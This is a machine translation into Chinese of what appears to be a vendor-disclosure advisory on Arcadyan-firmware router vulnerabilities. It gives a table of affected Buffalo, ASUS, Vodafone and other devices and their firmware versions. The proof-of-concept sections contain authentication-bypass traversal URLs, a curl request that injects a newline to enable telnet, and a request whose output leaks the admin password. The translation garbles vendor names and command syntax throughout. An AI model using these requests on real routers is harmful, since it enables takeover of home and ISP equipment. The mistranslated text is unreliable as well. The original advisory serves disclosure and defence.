多个漏洞在布法罗和Arcadyan路由器

站得住脚的发现了多个漏洞Arcadyan生产的路由器。

在信息披露过程中发现的问题水牛路由器,站得住脚的发现cve - 2021 - 20090影响更多的设备,作为脆弱性的根源存在于底层Arcadyan固件。

请注意,cve - 2021 2021 - 20092 - 20091和cve -只有被证实在布法罗wsr - 2533模型。

供应商	设备	发现版本
亚洲开发银行	宽带无线网络成瘾的路由器	1.26 s-r-3p
Arcadyan	ARV7519	00.96.00.96.617ES
Arcadyan	VRV9517	6.00.17 build04
Arcadyan	VGV7519	3.01.116
Arcadyan	VRV9518	1.01.00 build44
ASMAX	BBR-4MG / SMC7908 ADSL	0.08
华硕	DSL-AC88U(弧VRV9517)	1.10.05 build502
华硕	DSL-AC87VG(弧VRV9510)	1.05.18 build305
华硕	DSL-AC3100	1.10.05 build503
华硕	DSL-AC68VG	5.00.08 build272
直线	智能箱闪光	1.00.13_beta4
英国电信公司	WE410443-SA	1.02.12 build02
水牛	wsr - 2533 dhpl2	1.02
水牛	wsr - 2533 dhp3	1.24
水牛	BBR-4HG
水牛	BBR-4MG	2.08版0002
水牛	wsr - 3200大举裁员	1.1
水牛	wsr - 1166 dhp2	1.15
水牛	wxr - 5700 ax7s	1.11
德国电信	Speedport智能3	010137.4.8.001.0
HughesNet	HT2000W	0.10.10
KPN	ExperiaBox V10A (Arcadyan VRV9517)	5.00.48 build453
KPN	VGV7519	3.01.116
O2	HomeBox 6441	1.01.36
橙色	LiveBox纤维(PRV3399)	00.96.00.96.617ES
瘦	智能调制解调器(Arcadyan VRV9517)	6.00.16 build01
SparkNZ	智能调制解调器(Arcadyan VRV9517)	6.00.17 build04
电信(阿根廷)	Arcadyan VRV9518VAC23-A-OS-AM	1.01.00 build44
墨西哥电话公司	PRV33AC	1.31.005.0012
墨西哥电话公司	VRV7006
澳洲电信	智能调制解调器Gen 2 (LH1000)	0.13.01r
阿兰	无线网络中心(PRV65B444A-S-TS)	v3.00.20
阿兰	NH20A	1.00.10debug build06
威瑞森	Fios G3100	2.0.0.6
沃达丰(Vodafone)	EasyBox 904	4.16
沃达丰(Vodafone)	EasyBox 903	30.05.714
沃达丰(Vodafone)	EasyBox 802	20.02.226

的概念:

由于存在安全漏洞的文件夹列表属于一个“绕过列表”进行身份验证。列出的设备,这意味着该漏洞可以触发多个路径。最简单的例子是:

设备中http:// < ip > /你需要身份验证,攻击者可以访问你可以使用以下路径:

• http:// < ip > /图片/…% 2 findex.htm
• http:// < ip > / js /…% 2 findex.htm
• http:// < ip > / css /…% 2 findex.htm

页面加载正确的,你将需要使用代理/替换匹配设置,以确保任何资源加载还需要验证利用遍历的路径。此外,某些文件(那些发现在/ cgi /)需要csrf(命名httoken在这些设备上)令牌和一个有效的推荐人头,如果推荐人包括将导致一个错误% 2 f . .遍历(可以匹配/替换)。

curl——包括- x发布http:// < ip > / apply_abstract。cgi - h”推荐人:http:// < ip > /平。html”——数据”action = start_ping&httoken = <有效httoken > &submit_button = ping.html&action_params = blink_time % 3 d5&arc_ping_ipaddress = < ip > % 0 aarc_sys_telnetdenable = 1 &arc_ping_status = 0 &tmp_ping_type = 4”

的概念:

1. 得到一个有效的httoken,导航到http:// < ip设备> / loginerror。html在现代浏览器chrome浏览器(测试)。
2. 打开DevTools
3. 在控制台运行getToken ()。
4. 复制令牌,并使用以下命令从一个终端:

旋度美元——包括“http://192.168.11.1/cgi/cgi_i_filter.js?_tn = 442853667“- h”推荐人:http://192.168.11.1/loginerror.html "

HTTP / 1.1 200 OK日期:星期一,2020年1月13日格林尼治时间15:24:03服务器:Arcadyan httpd 1.0 - type:应用程序/ x-javascript X-FRAME-OPTIONS: SAMEORIGIN连接:紧密演示/ * * / var login_password =“< admin密码>”;addCfg (“lan_ipaddr”0“192.168.11.1”);